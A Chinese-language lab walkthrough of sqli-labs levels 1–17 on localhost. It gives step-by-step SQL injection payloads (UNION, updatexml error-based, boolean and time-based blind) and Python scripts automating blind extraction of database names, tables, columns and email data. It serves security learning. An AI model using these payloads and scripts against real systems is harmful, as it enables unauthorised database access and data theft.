首页 > 数据库 >sql-labs

sql-labs

时间:2024-07-08 15:19:58浏览次数:10  
标签:emails labs concat sql id select schema

Level-1

目标:获取emails中的所有email_id字符内容

wp

第一步:判断闭合:输入\,后面是',是单引号闭合

http://localhost/sqli-labs-master/Less-1/?id=1\

image-20240707112358539

注释符:--+

使用注释符将后面的内容注释掉,使其不报错

image-20240707112550896

image-20240707112613120

第二步:判断多少个字段,3不报错,4报错,证明有3列

http://localhost/sqli-labs-master/Less-1/?id=1 order by 3--+
http://localhost/sqli-labs-master/Less-1/?id=1 order by 4--+

image-20240707113110252

image-20240707113209879

第三步:union联合注入获取数据库的名称

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

image-20240707093008347

第四步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240707105041726

第五步:获取emails表中的字段名称

http://localhost/sqli-labs-master/Less-1/?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+

image-20240707105137184

第六步:获取emails表中字段名为email_id的数据

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(email_id) from emails--+

image-20240707105242537

获取成功

Level-2

目标:获取emails中的所有email_id字符内容

wp

第一步:判断闭合:输入\,后面为空,没有闭合

http://localhost/sqli-labs-master/Less-2/?id=1\

image-20240707112810746

第二步:判断字段值为3

http://localhost/sqli-labs-master/Less-2/?id=1 order by 3 --+

image-20240707113500079

image-20240707113526148

第三步:获取数据库的名称

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,database() --+

image-20240707114247874

第四步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240707114458994

第五步:获取emails表中的字段名称

http://localhost/sqli-labs-master/Less-2/?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+

image-20240707114613709

第六步:获取emails表中字段名为email_id的数据

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(email_id) from emails--+

image-20240707114718454

Level-3

目标:获取emails中的所有email_id字符内容

wp

第一步:判断闭合:输入\,后面'),闭合为')

image-20240707114856905

第二步:获取数据库的名称

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,database() --+

image-20240707152333940

第三步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240707152545779

第四步:获取emails表中的字段名称

 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+

image-20240707152724915

第五步:获取emails表中字段名为email_id的数据

http://localhost/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(email_id) from emails--+

image-20240707152803752

Level-4

目标:获取emails中的所有email_id字符内容

wp

第一步:判断闭合

http://localhost/sqli-labs-master/Less-4/?id=0\

image-20240707153010913

第二步:获取数据库的名称

http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,database() --+

image-20240707152951304

第三步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-4/?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240707152919693

第四步:获取emails表中的字段名称

http://localhost/sqli-labs-master/Less-4/?id=0")  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+

image-20240707152901918

第五步:获取emails表中字段名为email_id的数据

union select 1,2,group_concat(email_id) from emails--+

image-20240707152839233

Level-5

目标:获取emails中的所有email_id字符内容

wp

第一步:判断闭合

http://localhost/sqli-labs-master/Less-5/?id=0\

image-20240707154131029

第二步:判断注入点,发现回显"You are in..........."

http://localhost/sqli-labs-master/Less-5/?id=1'and 1=1 --+

image-20240707154302571

当输入正确的查询语句是会出现"You are in...........",错误的语句则无回显

第三步:报错注入 获取数据库的名称

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

image-20240707154558560

第四步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

image-20240707155047323

第五步:获取emails表中的字段名称

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e),1) --+

image-20240707170438656

第六步:获取emails表中字段名为email_id的数据

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id)from emails),0x7e),1) --+

image-20240707170548452

Level-6

目标:获取emails中的所有email_id字符内容

wp

第一步:判断闭合

http://localhost/sqli-labs-master/Less-6/?id=1\

image-20240707155336439

第二步:布尔盲注 判断数据库的长度 为8

http://localhost/sqli-labs-master/Less-6/?id=1" and length(database())>7--+

image-20240707155715437

http://localhost/sqli-labs-master/Less-6/?id=1" and length(database())>8--+

image-20240707155600957

第三步:判断数据库名的字母

select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,每次截取1个

select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

select ascii(substr(database(),1,1)) < 97;

payload

http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr(database(),1,1))>114--+

image-20240707160324241

使用脚本

import requests	#导入requests库
url="http://localhost/sqli-labs-master/Less-6/?id="	#将网址不变的部分定义为变量url
flag=""

for i in range(1,50):
    for j in range(32,127):	#两个循环
        a='1" and ascii(substr(database(),{},1))={}--+'.format(i,j)
        #i,j分别对应两个{},第一个{}是从第几个字母开始循环,第二个{}是判断字母在ascii表中的位置
        b=url+a	#拼接两个网址,使其成为完整的url
        print(b)	#打印网址

        r=requests.get(url=b)	#发送get请求
        if 'You' in r.text: #如果页面回显为You are in... 则语句正确

            flag=flag+chr(j)	#打印出想要的字母
            print(flag)

image-20240707164145847

第四步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100--+

image-20240707164922286

import requests
url="http://localhost/sqli-labs-master/Less-6/?id="
flag=""

for i in range(1,50):
    for j in range(32,127):
        a='1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),{},1))={}--+'.format(i,j)
        b=url+a
        print(b)

        r=requests.get(url=b)
        if 'You' in r.text:
            flag=flag+chr(j)
            print(flag)
            break

image-20240707171132673

第五步:获取emails表中的字段名称

http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),1,1))>100--+
import requests
url="http://localhost/sqli-labs-master/Less-6/?id="
flag=""

for i in range(1,50):
    for j in range(32,127):
        a='1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),{},1))={}--+'.format(i,j)
        b=url+a
        print(b)

        r=requests.get(url=b)
        if 'You' in r.text:
            flag=flag+chr(j)
            print(flag)
            break

image-20240707171432504

第六步:获取emails表中字段名为email_id的数据

http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select group_concat(email_id) from emails),1,1))>32--+
import requests
url="http://localhost/sqli-labs-master/Less-6/?id="
flag=""

for i in range(1,50):
    for j in range(32,127):
        a='1" and ascii(substr((select group_concat(email_id)from emails),{},1))={}--+'.format(i,j)
        b=url+a
        print(b)

        r=requests.get(url=b)
        if 'You' in r.text:
            flag=flag+chr(j)
            print(flag)
            break

image-20240707172319930

Level-7

目标:获取emails中的所有email_id字符内容

wp

查看源码 判断闭合,闭合为'))

image-20240707172437547

布尔盲注同Level-6一样

Level-8

目标:获取emails中的所有email_id字符内容

wp

第一步:查看源码 判断闭合,闭合为'

image-20240707175127715

第二步:时间盲注获取数据库的名称

http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>32,sleep(5),1)--+

image-20240707175632961

import requests
import time

url = "http://localhost/sqli-labs-master/Less-8/?id="
flag = ''

for i in range(1, 50):
    for j in range(32, 127):
        a = "1' and if(ascii(substr((select database()),{},1))={},sleep(5),1)--+".format(i, j)
        b = url + a
        print(b)
        
        start_time = time.time()
        re = requests.get(url=b)
        end_time = time.time()
        sec = end_time - start_time
        if sec >= 5:
            flag = flag + chr(j)
            print(flag)
            break

image-20240707180808003

第三步:获取security数据库中所有表的名称

http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>32,sleep(5),1)--+

image-20240707181715152

第四步:获取emails表中的字段名称

http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),1,1))>32,sleep(5),1)--+

image-20240707182010569

第五步:获取emails表中字段名为email_id的数据

http://localhost/sqli-labs-master/Less-8/?id=1' and if( ascii(substr((select group_concat(email_id) from emails),1,1))>32,sleep(5),1)--+

image-20240707182419398

Level-9

目标:获取emails中的所有email_id字符内容

wp

同Level-8一样

Level-10

目标:获取emails中的所有email_id字符内容

wp

查看源码 判断闭合,闭合为"

image-20240707182812662

同前两关时间盲注一样

Level-11

目标:获取emails中的所有email_id字符内容

wp

前十关是get传参,第十一关开始有post传参

第一步:查看源码,判断闭合,两个参数闭合均为'

image-20240708103042110

第二步:判断字段数为2

image-20240708103441440

image-20240708103528088

第三步:获取数据库的名称

passwd=1&uname=1' union select 1,database()#

image-20240708103703598

第四步:获取security数据库中所有表的名称

passwd=1&uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image-20240708103756110

第五步:获取emails表中的字段名称

passwd=1&uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' #

image-20240708103920810

第六步:获取emails表中字段名为email_id的数据

passwd=1&uname=1' union select 1,group_concat(email_id) from emails #

image-20240708104017914

Level-12

目标:获取emails中的所有email_id字符内容

wp

查看源码 判断闭合,闭合为")

image-20240708104216624

通Level-11一样

Level-13

目标:获取emails中的所有email_id字符内容

wp

第一步:查看源码 判断闭合,闭合为')

image-20240708104616772

第二步:使用报错注入获取数据库的名称

passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

image-20240708105005122

第三步:获取security数据库中所有表的名称

passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#

image-20240708105055268

第四步:获取emails表中的字段名称

passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='emails'),0x7e),1)#

image-20240708105300733

第五步:获取emails表中字段名为email_id的数据

passwd=1&uname=1') union select 1,updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#

image-20240708105352042

Level-14

目标:获取emails中的所有email_id字符内容

wp

产看源码,判断闭合为"

image-20240708105540872

同Level-13一样

Level-15

目标:获取emails中的所有email_id字符内容

wp

第一步:查看源码,判断闭合为'

image-20240708105719786

蓝色图片为语句正确,红色为错误

passwd=1&uname=1' or ascii(substr((select database()),1,1))#

image-20240708111120345

第二步:布尔盲注获取数据库的名称

passwd=1&uname=1' or ascii(substr((select database()),1,1))#

image-20240708110716809

import requests

url = "http://localhost/sqli-labs-master/Less-15/"
flag = ""

for i in range(1, 50):
    for j in range(32, 127):
        a = "1' or ascii(substr((select database()),{},1))={}#".format(i, j)
        data = {"uname": a, "passwd": a}
        r = requests.post(url=url, data=data)
        print(data)
        if '../images/flag.jpg' in r.text:
            flag = flag + chr(j)
            print(flag)
            break

image-20240708111923517

第三步:获取security数据库中所有表的名称

passwd=1&uname=1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100#

image-20240708113129991

第四步:获取emails表中的字段名称

passwd=1&uname=1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails"),1,1))>100#

image-20240708144808497

第五步获取emails表中字段名为email_id的数据

passwd=1&uname=1' or ascii(substr((select group_concat(email_id) from emails),1,1))>32#

image-20240708145538786

Level-16

目标:获取emails中的所有email_id字符内容

wp

产看源码,判断闭合为")

image-20240708145007060

同Level-15一样

image-20240708150244594

Level-17

目标:获取emails中的所有email_id字符内容

wp

第一步:产看源码,判断闭合为'

image-20240708145943377

第二步:报错注入获取数据库的名称

uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,(database()),0x7e),2)#

image-20240708150210121

第三步:获取security数据库中所有表的名称

uname=Dumb&passwd=1' and updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema = 'security')),2)# 

image-20240708150429849

第四步:获取emails表中的字段名称

uname=Dumb&passwd=1' and updatexml(1,concat('!',(select group_concat(column_name)from information_schema.columns where table_schema= 'security')),2)#

image-20240708150458274

第五步获取emails表中字段名为email_id的数据

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(email_id)from emails),0x7e),1)#

image-20240708150820423

标签:emails,labs,concat,sql,id,select,schema
From: https://www.cnblogs.com/Yolololo/p/18289947

相关文章

  • Mysql中存储引擎简介、修改、查询、选择
    场景数据库存储引擎数据库存储引擎是数据库底层软件组件,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据的操作。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎还可以获得特定的功能。现在许多数据库管理系统支持多种数据引......
  • Q:在PostgreSQL中跟踪和分析查询日志
    在PostgreSQL中,跟踪和分析查询日志是排查性能瓶颈的重要步骤。通过查看和分析查询日志,我们可以了解哪些查询在执行时遇到了问题,例如执行时间过长、资源消耗过大等。以下是一些建议和步骤,帮助你有效地跟踪和分析PostgreSQL的查询日志。 启用查询日志首先,你需要启用查询日志功......
  • Docker部署Django+MySQL+Redis+Nginx+uWSGI+Celery(超详细)
    一、知识储备经过我们之前学习的Docker相关知识,现在我们来进行实战,以下介绍如何通过DockerCompose部署Django项目:先前知识:Docker学习笔记(一)概念理解-CSDN博客Docker学习笔记(二)镜像、容器、仓库相关命令操作-CSDN博客Docker学习笔记(三)Dockerfile-CSDN博客DockerCompose......
  • nginx作为反向代理服务器:代理MySQL、Postgresql、Redis及多个TCP服务
    使用Nginx作为反向代理服务器,可以代理MySQL、PostgreSQL、Redis及多个TCP服务。这需要配置Nginx的stream模块。以下是详细的配置步骤:1.确保Nginx支持stream模块首先,确保Nginx已经编译并支持stream模块。运行以下命令检查:nginx-V在输出中查找--with-str......
  • springboot在线商城系统源码idea开发mysql数据库
    下载地址:https://download.csdn.net/download/qq_41221322/89519994摘要近年来,网上购物成了风靡全球的一种现象,大家逐渐接受了网上下单,隔天取货的这种方式。我们分析了一些购物网站现有的不足,结合我们所学的知识,制作了一款购物网站程序。学以致用,语言采用了大学时期学习的J......
  • 【SQL】选择⽤ B+ 树,⽽不是普通⼆叉树的原因
    使用B+树而不是普通二叉树(BST)有几个关键的原因,特别是在数据库和文件系统中,B+树的设计更适合高效的数据存储和检索。以下是一些主要原因:1.磁盘I/O效率B+树的节点包含多个键和指针,使其高度比普通二叉树更低。这意味着在查找某个键时,需要访问的节点数量更少,从而减少了磁......
  • MySQl数据库课程设计 学生宿舍管理系统
    表的创建(1)createtabledormitory( #宿舍信息表  dormitory_idvarchar(15)notnull,#宿舍号    capacityint,#宿舍人数    bed_idint,#床号    student_namevarchar(20),#姓名    student_sexvarchar(5)#性别);(2)createtablesug......
  • Oracle PL/SQL 循环批量执行存储过程
    1.查询存储过程        根据数据字典USER_OBJECTS查询出所有存储过程。2.动态拼接字符串(参数等)    根据数据字典USER_ARGUMENTS动态拼接参数。3.动态执行    利用EXECUTEIMMEDIATE动态执行无名块。4.输出执行信息    利用DBMS_OUT......
  • Mysql数据同步ES的4种方式
    1、同步双写 通过应用服务,直接为数据库及ES写如数据。 优点:业务逻辑简单;实时性高缺点:业务耦合,耦合大量数据同步代码硬编码,有需要写入MySQL的地方都需要添加写入ES的代码;影响性能,写入两个存储,响应时间变长不便扩展:搜索可能有一些个性化需求,需要对数据进行聚合,这......
  • windows mysql执行sql文件
    背景快速导入数据表或者数据库。解决直接执行sql文件。虽然直接复制内容也行,但是还是执行文件更好一些。登录mysql-uroot-p-Dxxx-D指定数据库的名称。如果不写,可以在进入mysql命令行后,使用usexxx来使用数据库。执行sourcexxx.sql特别注意,哪怕路径里有空......